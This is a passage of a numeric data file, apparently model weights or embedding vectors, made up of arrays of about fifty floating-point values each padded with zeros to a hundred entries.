0.0], [-0.240924, -0.370613, 2.36024, -0.298198, -0.0960582, -0.256436, -2.15079, 0.147428, 0.0694723, -0.299522, 0.328206, -1.90227, 0.0315562, 0.311095, 0.214721, 0.137434, -0.206584, -0.24771, -1.19589, -0.0701137, 0.82483, -0.0345811, 0.542277, -0.279246, -0.00657726, -0.00464636, 0.940555, 0.47267, 1.18628, 0.0882927, -0.351896, -1.54161, 0.0884815, 0.382152, -0.358335, 0.03524, -0.20116, 0.439873, -0.114765, 0.267756, -0.600064, -0.734617, 0.129712, -1.61464, 0.700316, -1.04297, -1.50919, 1.44651, 0.049105, -1.21341, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.146111, -0.263674, -0.143264, -2.05954, 0.732898, -0.11372, -1.15901, -0.120162, -0.577984, -1.80504, -4.55901, 0.405608, -2.7715, -0.653436, -0.81892, 1.66571, -0.635899, 0.437206, -0.0887298, 0.339774, 0.163675, -0.133083, -0.306852, -0.236121, 0.0733646, 0.261317, 0.570885, 0.00618174, 0.126162, 0.0342379, -0.311019, 1.50362, -1.58423, -0.197855, 0.228699, -0.251134, 0.0377822, -0.0205027, -0.90845, -0.377176, 1.0972, 0.138293, 0.280029, -0.666713, 0.373492, -0.256913, -0.815115, -0.141985, -0.498818, -0.127959, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.304056, -0.0120985, 0.533423, 0.645865, 1.05802, -0.407577, -0.349147, 0.766839, -0.577082, 0.882911, 0.123038, -0.230064, -0.236001, -0.168051, 1.86195, -0.837879, 0.431089, -0.712769, 0.521243, 0.0792529, -0.102185, 0.133238, -0.0511313, -0.00374678, 0.0394678, -0.564592, -0.235398, -0.449857, -0.391689, 0.00541863, -1.25636, 1.38028, -0.165893, -0.363382, 0.0326457, 0.340247, -0.670326, 0.867363, -0.682988, -0.618225, 0.257337, 0.435269, 0.646239, -3.14945, -0.335998, 0.922471, 0.967908, -0.368057, 0.0239116, -0.0175373, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.197833, 0.462791, -0.322172, -0.160111, 0.40367, -0.199848, -0.426215, 0.454861, -0.0966231, 0.0203785, -0.849457, -0.150465, 0.671082, 0.227077, -0.510924, -0.882597, 0.230122, -0.353259, -0.203278, -0.118445, -0.110671, -0.358163, 0.398515, 0.296903, -0.00762261, 0.287641, -0.716459, -0.113621, 0.262541, -0.0220457, -0.142137, -0.417452, -0.0853059, -0.756412, -0.618646, 0.789992, 0.0441435, 0.0798992, -0.803952, -0.0813166, 0.460254, 0.276947, -0.0966343, 0.439709, 0.147826, 0.608306, -0.800764, 0.0588544, 0.200004, 0.207069, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.00457226, -0.412659, -0.333681, 3.04654, -0.391549, -0.499425, -2.77497, -0.32665, -0.136318, 0.609132, -3.60989, 1.11313, -1.82194, 0.0436543, -2.46426, -0.0344519, 0.72866, -0.255648, -2.22092, 0.112409, -0.500104, 0.415551, -0.304065, 0.0364326, -0.342791, 0.133544, -2.06639, -0.573717, -0.473023, 0.0289668, -0.101861, -0.0120569, 0.100841, 0.546323, -0.0869409, 1.19228, 0.179487, 0.39928, -1.34449, 0.194549, 0.223055, 0.958877, 0.113876, 0.258683, 0.663171, -2.09214, -0.170647, -3.31332, -0.811596, -0.458879, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.186052, -0.374663, 0.541996, 0.204931, 0.668144, 0.210396, 0.119325, -0.545607, -0.165316, -0.166835, 0.128932, -0.17875, -1.74026, 0.315594, -0.388858, -2.97051, 0.268952, 0.172225, -2.2492, 0.0113313, -0.0401717, -0.396862, -0.168167, 0.61581, 0.181773, 0.0545995, 0.111705, 0.409883, 0.658425, 0.0347995, 0.0447889, -0.520771, -0.539535, 0.0544758, 0.315107, 0.323232, -0.460462, 0.1495, 0.417, -0.128576, -0.0382843, -0.664638, 0.179075, 0.450668, 0.499337, -0.347771, 0.231959, 0.863874, -0.446419, 0.520003, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0325852, 0.302605, 0.15039, 0.370103, 0.662758, -0.0245663, 0.255105, -0.134906, 0.245526, 0.39168, 0.738314, -0.429794, -0.402382, 0.737567, 0.07383, -0.38043, 0.610452, 0.139362, -0.0706065, 0.117683, -0.0172376, 0.24918, 0.152924, -0.327575, 0.158465, -0.434112, -0.123692, -0.0234777, 0.153438, 0.146901, 0.602211, 0.450261, 0.373901, 0.306051, -0.361103, -0.188956, 0.00406117, -0.137495, 0.0212372, -0.378656, 0.136155, -0.28174, 0.198963, -0.0264631, -0.329108, 0.142835, -0.413145, 0.175992, -0.178249, -0.0579013, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0583635, -0.231076, -0.856429, 0.299282, 0.196251, -0.487321, -1.10417, 0.385653, -0.0578893, -0.344361, -0.119872, 0.686657, -0.0138365, -0.42215, -0.819749, -0.229781, 1.52871, -0.596485, -0.598348, 0.0797273, -0.041116, 0.49198, -0.141344, -0.16974, -0.07083, -0.00270214, -1.47578, -0.678326, -0.795006, 0.0373488, 0.193018, -0.858466, 0.128016, -0.294246, -1.71591, 0.625174, 0.343312, -0.572672, 0.544008, -0.114986, 0.817867, 1.35759, -0.27912, -0.199691, -0.482823, -1.47128, -0.51248, -0.609744, 0.171877, -0.658823, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0119041, 0.210837, -0.00754692, -0.049277, -0.0243429, -0.49095, -0.00459524, -0.082663, 0.363607, 0.262919, -0.167794, -0.110197, -0.00113385, 0.244456, 0.0653969, 0.489129, 0.00408851, 0.0928446, 0.17877, -0.151877, 0.0931679, 0.0980941, 0.0031292, -0.336548, -0.26025, -0.0387601, 0.0700094, 0.0808236, 0.00945283, 0.0800741, 0.383875, -0.0321055, -0.036602, 0.510643, -0.131993, -0.126285, -0.0481926, -0.0187275, -0.623177, 0.124116, -0.621728, 0.169828, -0.0500481, -0.265306, -0.210228, -0.175289, 0.0553947, -0.0378, -0.0375185, -0.850115, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.110543, -0.243772, -0.885933, 0.545281, 0.914557, -0.13566, 0.178923, -0.155901, -0.19041, -0.164966, 0.373214, -0.204455, -0.576314, -0.286709, 0.79163, -0.813595, 0.651405, -0.918226, -2.51372, 0.601567, -0.366857, -0.348036, -0.677834, -0.103633, -0.0500294, 0.369269, 0.187756, 0.0945156, 0.0573008, 0.00525923, 0.00692461, -3.38236, 0.192455, -0.516005, 0.214987, -0.260331, -0.219662, 0.335307, 0.98114, 0.471633, 0.710491, -0.315035, -0.195914, -0.0255723, 0.121023, -0.859034, 0.0442302, 0.977925, -0.0993618, 0.275059, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0425958, -0.0379658, 0.114846, 0.487805, 0.0273676, -0.0846174, -0.0723929, -0.0759334, 0.0502482, 0.0373395, -0.0573477, 0.228899, -0.686065, -0.0235495, -0.0836558, 0.174262, 0.190027, 0.137372, -0.154364, 0.121291, 0.0143806, -0.243994, 0.128863, 0.0314679, -0.0265404, 0.0376494, 0.0986827, -0.141052, -0.315682, 0.0175235, -0.13524, -0.252087, -0.0265267, 0.0770442, -0.246402, -0.0106971, 0.171421, 0.536978, 0.19814, -0.252848, -0.672333, -0.19769, -0.158885, -0.0429285, 0.24245, 0.00243793, 0.400199, 0.17551, 0.0830732, 0.0040754, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.172397, -0.0474367, -0.332341, -0.324209, 0.563498, -0.182021, 0.13207, 0.446379, -0.117879, 0.249763, 0.221543, 0.378605, -0.713005, -0.0235379, 0.0414159, 1.34088, -0.994624, -0.327095, -0.0160592, 0.402331, 0.00358737, -0.0359793, -0.214822, -0.164671, -0.0522319, -0.0853085, 0.0304159, 0.11373, -0.119543, 0.0380418, 0.0663646, -0.59835, -0.00418874, 0.571605, -0.103747, -0.414831, 0.187776, -0.290911, -0.106614, -0.224069, -0.0124436, 0.0763619, -0.0247767, -0.0550393, -0.227244, 0.607727, -0.300716, 0.0413615, -0.0169462, 0.538081, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.113008, 0.0692168, -0.028793, 0.379962, -0.316304, 0.348037, 0.760799, 0.0763368, -0.378491, 0.16114, 0.576807, 0.607323, 0.841434, 0.0536324, -0.796302, -0.193787, 1.15645, -0.132354, -1.11291, 0.0388595, -0.112038, 0.0812344, -0.570262, 0.545552, 0.307329, 0.462023, -1.31521, -0.323058, -0.244078, -0.0135833, -0.665077, 0.649753, -0.175329, -0.776573, 0.34349, -0.454779, 0.535237, 0.180414, -0.0813235, -0.41914, -0.11881, 0.959003, -0.240311, -0.565492, 0.0317437, 0.897404, 0.792231, -0.318234, -0.0867852, -0.315349, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.35644, 0.052375, -1.23336, -0.28475, 0.148626, 0.115962, 0.129415, -0.484507, -3.26477, -0.358854, 0.251568, -0.278755, -9.07983, -0.0863744, 0.307639, 0.239593, -1.12907, -0.0784164, 0.645604, -0.0408598, -0.259457, -0.0827589, -0.545923, 0.182745, 0.0364375, -0.0933079, -0.157845, -0.0757744, -0.182729, -0.0116391, 0.513765, 0.384864, 0.0695752, -0.725272, 0.0439316, -0.0451333, -0.121756, -0.265727, -0.111958, 0.2187, -0.635886, 0.267563, 0.179884, -0.344476, 0.247459, 0.182764, 0.637861, -0.217757, -0.145298, 0.106197, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.3916, -0.130089, 0.236713, -0.953969, -0.128951, -0.19216, -0.102509, 0.0484059, -0.165613, 0.321443, 0.26095, -0.509887, -0.877652, 0.648824, 0.10607, -0.202581, -0.621002, 0.327314, -0.719543, -0.152551, 0.148782, 0.135357, -0.537785, 0.0495436, -0.171317, 0.089122, -0.176096, 0.421765, 0.237232, 0.0595696, 0.27882, -1.06248, 0.421037, 0.80685, 0.0884112, 0.169323, 0.177924, 0.51472, 0.531539, 0.178632, 0.0966874, 0.146671, -0.483914, -0.00967583, -0.58017, -1.43894, -0.17265, -0.188334, 0.0578453, -0.089069, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.139277, -0.22629, -0.309293, 0.0827609, -0.39561, 0.00467025, -0.3048, -0.146511, 0.078036, -0.0643142, -0.104902, -0.355795, -0.211531, 0.073475, 0.0398201, -0.5563, -0.351031, -0.101269, -0.291403, -0.0231649, 0.0511446, 0.275909, 0.114897, -0.308986, -0.0333002, -0.275953, 0.355858, 0.147208, -0.045022, 0.0461299, -0.146146, -0.174496, 0.104264, -0.246201, 0.233636, 0.253951, -0.360909, 0.0870325, 0.127344, -0.0564546, 0.507909, 0.0723964, 0.0553452, 0.099977, -0.213663, 0.0238381, -0.00704217, -0.00600349, -0.364, 0.23143, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0355379, 0.0789848, 0.324377, 0.0265926, -0.0465634, 0.544632, -0.120088, 0.377417, 0.033785, 0.0914411, 0.28128, 0.382949, -0.511413, 0.0682265, 0.015043, 0.702281, -0.021878, -0.579406, 0.599506, 0.0716893, 0.0278675, 0.301136, -0.13892, 0.131573, -0.0698079, -0.159475, 0.556547, 0.179126, -0.0796678, 0.101561, -0.16134, 0.641684, -0.277046, 0.574451, 0.0988891, -0.132725, -0.172854, 0.401304, -0.0985178, -0.0841357, -0.553696, 0.305686, -0.119688, 0.0779177, 0.169314, -0.288611, -0.0633942, -0.0529545, -0.656216, -0.170016, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0541674, -1.54045, -0.38093, -1.21101, -6.05872, -0.215468, 0.182792, 0.643764, 0.106547, 1.07154, -0.96039, -0.470612, -1.76128, 0.362556, -1.17099, 0.455781, -1.91153, -0.834638, -1.02958, -0.29648, -0.0788676, 0.0755761, -0.399928, 0.187771, 0.142415, 0.812142, 0.139234, 0.441268, 0.731725, 0.122133, -1.46, 0.585326, -0.957007, 1.01762, -0.651533, -1.52906, 0.549031, 0.202597, 0.773775, -0.357277, 0.938655, 0.297267, -0.289432, 0.700181, 0.483523, 0.0275431, 0.553974, -0.0227977, 1.75141, -0.59033, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.448616, -0.92065, -0.771971, 2.34066, -0.591067, -1.74533, -1.37164, 0.607479, -0.404448, -1.80359, -2.3101, 2.29932, 0.770738, -0.0688485, -2.61642, 1.38902, -1.16749, 0.428226, 1.76413, 0.236463, -1.15637, -1.11506, 0.869945, -0.736213, -0.0895494, 1.82859, 0.51686, -0.989571, -0.699376, 0.0337062, -0.357085, -2.14536, 1.07259, -0.702459, -1.82873, 1.94935, -1.12436, -2.14785, 1.10321, -1.27868, 1.08768, -1.87631, 1.24312, -1.39093, -2.22113, -1.80476, -0.318387, -3.13256, -0.562559, 1.32736, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.432898, -0.168718, 0.333927, 1.37832, 0.884165, 0.209829, -1.88064, 1.25044, -0.409629, -1.17461, -3.60894, -0.847314, -1.97978, 1.03543, 1.13008, -0.520864, -1.57346, -1.67794, 0.888832, 1.29279, -0.440537, -0.504149, 2.63362, 0.378792, -0.531842, -0.867757, -0.212836, -1.14734, -0.706867, -0.017196, -1.8643, -4.27165, 0.14125, -0.311423, 0.454266, -0.400549, 0.464783, -0.200122, 0.591692, 0.816822, -1.09293, -1.06006, 0.49812, 0.896, 0.533122, -3.04841, 1.43317, -1.29614, -1.7191, 0.730658, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0277822, 0.0998471, 0.029104, -0.0961727, -0.0195259, 0.246228, -0.0272937, 0.062922, -0.196386, -0.466002, -0.000627837, 0.762372, -0.0282378, 0.36023, 0.270828, -0.622442, -0.371015, 0.395791, -0.0525642, -0.246316, 0.21872, -0.599999, 0.305994, -0.494725, -0.83758, 0.168617, 0.168988, -0.175096, -0.305813, -0.017372, 0.123184, 0.75662, 0.0252682, 1.55715, -0.359017, -0.720237, -0.732488, 0.0699555, -0.238651, -0.333027, -0.432051, -0.566566, 0.107529, -0.405252, 0.228079, -0.947332, -0.458889, -0.00938215, 0.637566, -1.06638, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0612744, -0.270448, -0.57593, -0.443031, 0.193565, -0.535459, -0.978028, 0.875963, 0.17168, -0.479021, -0.12277, 0.384183, -1.08711, -0.175962, -0.390203, 1.20414, 0.0242319, -0.513942, -0.478824, 0.112165, 0.138482, 0.436128, 0.662326, 0.491742, -0.0884517, -0.075039, 0.210201, -0.422023, 0.142361, 0.0325845, 0.481863, -0.398649, 0.0255953, -0.346783, -0.694298, 0.904929, -0.241636, -0.0265962, 0.00075049, -0.0444755, 0.999928, 0.481513, -0.195533, 0.159642, -0.351817, -0.576195, -1.85411, 0.183637, 0.337639, -0.138473, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0445637, -0.0173744, -0.0485007, -0.0347519, -0.0530926, -0.052626, -0.0529869, -0.0393637, -0.040301, 0.00670344, 0.0269747, -0.0231513, 0.00357175, -0.0371045, -0.0361875, 0.0436911, -0.0472149, 0.0366506, -0.00475069, 0.0366307, 0.0355912, -0.0155991, -0.0293505, -0.0114948, -0.0334219, -0.0134273, -0.00349663, -0.0368092, 0.0123573, 0.00204391, 0.0144292, -0.0164335, 0.0152357, 0.000920298, -0.0228745, -0.0151191, -0.0252857, 0.0412675, -0.028839, 0.017233, -0.0159364, -0.00544546, -0.0255513, -0.0100832, -0.0294862, 0.00458189, -0.047407, 0.0118929, 0.0176083, 0.0313516, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.133452, -0.121595, -0.029319, -0.193824, -0.181854, -0.138547, 0.0752121, -0.272987, 0.0491523, 0.021511, 0.0514668, 0.214849, 0.533883, 0.069656, 0.102226, -1.27985, 0.225547, 0.41336, -1.47599, 0.166056, -0.150263, 0.128049, -0.204994, 0.165728, 0.149187, 0.367032, -0.492416, -0.300348, -0.20565, 0.0363026, -0.000258224, -0.452281, -0.229532, -0.377532, -0.00819604, 0.23691, 0.187346, -0.077558, -0.350168, 0.232522, -0.183205, -0.057744, -0.0897007, 0.156679, -0.15226, -0.443554, -0.282897, 0.116343, 0.120985, -0.244589, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.192542, -0.219455, -2.38291, 0.124897, 1.35621, 0.0560855, 1.56797, -0.623345, 0.44515, -1.96879, -0.583022, -1.3544, 0.949124, -0.289941, -0.475425, -0.876875, 1.56451, 1.40554, 1.46641, -0.230621, 0.629197, -0.328468, -0.381344, -2.30351, -0.107437, 0.442703, -0.32084, 1.14672, 0.348111, 0.00742626, -0.0345236, -0.141105, -2.44501, 0.450953, 1.05892, -0.0245239, -1.13656, -0.761458, 0.482232, 0.366691, -0.672071, -0.387819, 0.480274, -0.628441, 0.911736, -1.99934, 0.0114959, -0.142149, -0.820774, -1.80106, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00346849, 0.266789, 0.438442, 0.702305, 0.153768, -0.610116, 0.893507, -0.470639, 0.972552, -0.160808, -0.0218855, -0.780815, -1.36513, 1.44531, -1.14556, 0.699083, -1.0563, -0.201769, -0.970126, -0.601771, -0.908189, 0.885217, -1.16481, -0.129761, 0.100595, -0.698673, -0.430175, 0.267453, 0.0793876, 0.0855612, -1.44649, -0.451883, -0.130257, -0.649749, -0.342932, -0.322199, -0.700018, -1.18495, 0.0947509, -1.2116, -0.622534, -0.0610711, 0.59349, -0.0581876, -0.0661528, 2.73571, 1.18847, 0.43723, -0.461394, 1.06725, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0475584, 0.42433, -0.0107094, -1.04453, -0.147934, 0.00618885, -0.436869, 0.66805, -0.205073, 0.227582, 0.0940475, -0.771819, 1.63788, -0.171329, 0.810408, 0.0751783, -0.0609762, -0.179445, 0.682034, 0.204705, 0.0404788, -0.457133, 0.244671, 0.137399, -0.00287088, -0.561141, 0.294265, 0.153972, -0.517772, 0.0246943, 0.153681, -0.832276, -0.402884, -0.253411, -0.258533, 0.0756832, 0.0738608, 0.14196, 0.612237, 0.209335, -0.648611, -0.0408684, 0.170706, 0.0705291, 0.629865, 0.221695, -0.522946, -0.0760092, -0.597058, -0.0635233, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 